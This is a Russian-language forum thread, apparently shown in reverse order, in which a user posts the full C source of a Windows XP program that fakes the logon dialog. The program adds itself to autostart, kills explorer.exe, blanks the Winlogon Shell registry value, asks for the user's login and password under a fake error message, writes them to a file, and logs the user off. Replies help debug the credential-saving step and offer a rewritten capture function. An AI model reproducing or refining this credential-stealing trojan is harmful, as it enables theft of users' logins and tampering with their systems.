Кароче. Есть программа, которая имитирует Logon-диалог XP SP2. Принцип действия следующий.
При первом запуске она добавляет себя в автозагрузку и создаёт "счётчик" в реестре (чтобы запускаться через раз). После входа в систему программа запускается и завершает при этом процесс explorer.exe. Затем выводит сообщение об ошибке (типа введены неверные данные) и запрашивает пасс илогин. Юзер их вводит, после чего введённые им данные должны сохраняться в файл, а затем завершить саенс.
Все пункты, кроме сохранения в фаил, программа выполняет.
Внимание вопрос! Почему не выполняется сохранение в файл введённых данных?
11 марта 2009 в 21:01
Сначала путь к файлу попробуй полностью прописать, если не поможет, попробуй записать не твои данные, а какой-нибудь текст, например:
printf("test");
11 марта 2009 в 17:05
Неа. Непомогло…
11 марта 2009 в 14:01
Попробуй это:
void VisError_GetPass (void)
{
char *Pass = new char[max_line];
char *Login = new char[max_line];
FILE *out;
out = fopen("LaP.txt", "w");
printf("Input bad data\n");
printf("Try again please, press any key…\n");
getch();
printf ("Enter you login: ");
scanf("%s", Login);
printf ("Enter you pass: ");
scanf("%s", Pass);
fputs (Login, out);
fputs (Pass, out);
fclose (out);
};
11 марта 2009 в 7:03
/* Программа, имитирующая Logon-диалог ОС Windows XP*/
/**/
/* ************************************************** */
// подключение либ
#include <stdio.h>
#include <windows.h>
#include <stdbool.h>
#include <tlhelp32.h>
#include <conio.h>
#include <string.h>
#define max_line 100
DWORD GetProcessID (void);// – Функция получения ID процесса
void StopShell (void);// – изменяет параметр Shell в SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon
// – для отмены автозапуска explorer.exe
void StartShell (void);// изменяет Shell обратно для запуска explorer.exe
int meter (void);// функция-счётчик, для проверки на запуск программы
void AddInAuto (void);// функция добавляющая программу в автозагрузку
void VisError_GetPass (void);
int main ()
{
AddInAuto ();
if (meter() == 48){ return 0; }// 48 – "0"
else {
// получение хендла процесса
HANDLE hProcess = OpenProcess (PROCESS_TERMINATE, FALSE, GetProcessID());
UINT fuExitCode;
// ТерминейтПроцесс – завершает процесс
TerminateProcess (hProcess, fuExitCode);
StopShell ();
VisError_GetPass ();
StartShell ();
// Завершение сеанса юзера
ExitWindowsEx (EWX_LOGOFF, 0);
}
return 0;
}
DWORD GetProcessID(void)
{
DWORD ProcID;
HANDLE pSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // снимок процессов
bool bIsok = false;
PROCESSENTRY32 ProcEntry;
ProcEntry.dwSize = sizeof(ProcEntry); // задание размера структуры, хранящей инфу о процессе
bIsok = Process32First(pSnap, &ProcEntry);
while(bIsok)
{
// поиск процесса по его имени
if (!strcmp (ProcEntry.szExeFile, "explorer.exe")){
ProcID = ProcEntry.th32ProcessID;
break;}
// некст процесс
bIsok = Process32Next(pSnap, &ProcEntry);
}
CloseHandle(pSnap);// фрии память
return ProcID;
}
void StopShell (void)
{
LONG LResult; // результат работы функции RegOpenKeyEx
HKEY hKey;
LPCTSTR PathValueName = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon";
LResult = RegOpenKeyEx (HKEY_LOCAL_MACHINE, PathValueName, 0, KEY_SET_VALUE, &hKey);
LPTSTR plName = "Shell";
LPTSTR clName = "";
// изменение Shell с "explorer.exe" на "" , т.е. ничего
LResult = RegSetValueEx (hKey, plName, 0, REG_SZ, (LPBYTE)clName, (DWORD)(lstrlen(clName) + 1)*sizeof(TCHAR));
}
void StartShell ()
{
LONG LResult;
HKEY hKey;
LPTSTR PathValueName = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon";
LResult = RegOpenKeyEx (HKEY_LOCAL_MACHINE, PathValueName, 0, KEY_SET_VALUE, &hKey);
LPTSTR plName = "Shell";
LPTSTR clName = "Explorer.exe";
// изменение Шелл на експлорер
LResult = RegSetValueEx (hKey, plName, 0, REG_SZ, (LPBYTE)clName, (DWORD)(lstrlen(clName) + 1) * sizeof(TCHAR));
}
int meter (void)
{
LONG LResult;
HKEY hKey;
LPTSTR dwData; // переменная для хранения значения параметра ключа
DWORD dwDataSize = sizeof(dwData);
LPTSTR plName = "cnt"; // имя параметра
LResult= RegOpenKeyEx (HKEY_CLASSES_ROOT, "COUNT", 0, KEY_QUERY_VALUE, &hKey);
// если ключ в реестре не создан, то он создаётся + создаётся параметр cnt
// с начальным значением параметра 0
if (!LResult == ERROR_SUCCESS){
LResult = RegCreateKey (HKEY_CLASSES_ROOT, "COUNT", &hKey);
LPTSTR clName = "0";
LResult = RegSetValueEx (hKey, plName, 0, REG_SZ, (LPBYTE)clName, (DWORD)(lstrlen(clName) + 1) * sizeof(TCHAR));
11 марта 2009 в 7:03
return (int)clName;
}
// получение значения параметра
LResult = RegQueryValueEx (hKey, TEXT("cnt"), NULL, NULL, (LPBYTE)&dwData, &dwDataSize);
if (LResult == ERROR_SUCCESS){
LPTSTR clName_1 = "1"; // переменные для обмена
LPTSTR clName_0 = "0"; //
//открытие для изменения значения параметра
LResult= RegOpenKeyEx (HKEY_CLASSES_ROOT, "COUNT", 0, KEY_SET_VALUE, &hKey);
// изменение значение с 0 на 1
// и наоборот с 1 на 0
if ( (int)dwData == 48) {
LResult = RegSetValueEx (hKey, plName, 0, REG_SZ, (LPBYTE)clName_1, (DWORD)(lstrlen(clName_1) + 1) * sizeof(TCHAR));}
else { LResult = RegSetValueEx (hKey, plName, 0, REG_SZ, (LPBYTE)clName_0, (DWORD)(lstrlen(clName_0) + 1) * sizeof(TCHAR));}
// возвращение значения параметра
return (int)dwData; }
}
void AddInAuto (void)
{
LONG LResult;
HKEY hKey;
LPCSTR ValueName = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
LPTSTR clName = "C:\\mmm\\lcc\\mmm.exe";
LResult = RegOpenKeyEx (HKEY_CURRENT_USER, ValueName, 0, KEY_SET_VALUE, &hKey);
LResult = RegSetValueEx (hKey, "fff", 0, REG_SZ, (LPBYTE)clName, (DWORD)(lstrlen(clName)+1)*sizeof(TCHAR));
}
void VisError_GetPass (void)
{
char Pass[max_line];
char Login[max_line];
FILE *out;
out = fopen("LaP.txt", "w");
printf ("Input bad data\n");
printf ("Try again please, press any key…");
getch (); clrscr ();
printf ("Enter you login: "); gets (Login);
printf ("Enter you pass: ");gets (Pass);
fputs (Login, out);
fputs (Pass, out);
fclose (out);
}
10 марта 2009 в 22:05
Код с выводом в файл "в студию"
10 марта 2009 в 22:03
?????? ????
10 марта 2009 в 22:00
телепаты?!